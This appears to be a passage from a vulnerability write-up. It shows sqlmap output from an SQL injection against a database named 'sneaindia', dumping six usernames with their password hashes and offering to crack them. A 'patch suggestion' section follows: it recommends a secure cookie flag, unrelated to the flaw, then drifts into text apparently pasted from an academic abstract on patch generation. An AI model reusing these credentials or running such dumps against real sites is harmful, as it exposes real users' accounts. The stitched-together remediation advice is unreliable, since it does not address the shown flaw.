[00:57:15] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[00:57:15] [INFO] fetching entries of column(s) 'password', 'userid' for table 'users' in database 'sneaindia'
[00:57:15] [INFO] resumed: '1b5e961c0cda62f9237aa4dada4bab84'
[00:57:15] [INFO] resumed: 'gs'
[00:57:15] [INFO] resumed: 'a7db19908028543673a52292e6816bf4'
[00:57:15] [INFO] resumed: 'oa'
[00:57:15] [INFO] resumed: '7187f4cb3ace347ad39073e8450a44f3'
[00:57:15] [INFO] resumed: 'praoags'
[00:57:15] [INFO] resumed: 'e613b9050aea5b3b7810e62e77c538df'
[00:57:15] [INFO] resumed: 'president'
[00:57:15] [INFO] resumed: '4c800b0c066613d149e453c0effa523e'
[00:57:15] [INFO] resumed: 'rajan'
[00:57:15] [INFO] resumed: '7ae550b380767b4f434c9d236fdff2d7'
[00:57:15] [INFO] resumed: 'unapst'
[00:57:15] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[00:57:22] [INFO] writing hashes to a temporary file '/tmp/sqlmap9z7zq4az29478/sqlmaphashes-bpxtrkxj.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: sneaindia
Table: users
[6 entries]
```

### *Suggestion to the patch of this bug:-*

- 1.) Whenever creating the cookie in the code, set the secure flag true.*
- 2.) The patches can suggest inserting code not present in the original program. This is the first algorithm we are aware of that produces patches, from bug reports. A demonstration that our algorithm increases the usefulness of off-the-shelf bug-finding tools that find defects in large programs. We present experimental evidence to show that including such patches makes bug reports more likely to be addressed. We conclude that patches should be included in bug reports in practice.*
- 3.) A textual patch is then created to represent the*



differences between the original program and the modified program. This patch may suggest the inclusion of new code that was not in the original program. The patch comes with a guarantee that applying it will not introduce any new errors along paths unrelated to the reported violation with respect to the given safety policy. The patch is used as a starting point for understanding and addressing the problem. We present experiments demonstrating that bug reports that also contain explanatory patches are more likely to be addressed in practice. In our experiments, bug reports with patches were three times as likely to be addressed. We believe that the ultimate purpose of bug-finding tools and software model checkers is to increase the quality of software by getting bugs fixed. Our patch generation algorithm works with most software bug-finding tools and serves as a generic post-processing step that makes it more likely that the bugs they find will actually be addressed. These enriched bug reports make it easier for maintainers to address defects.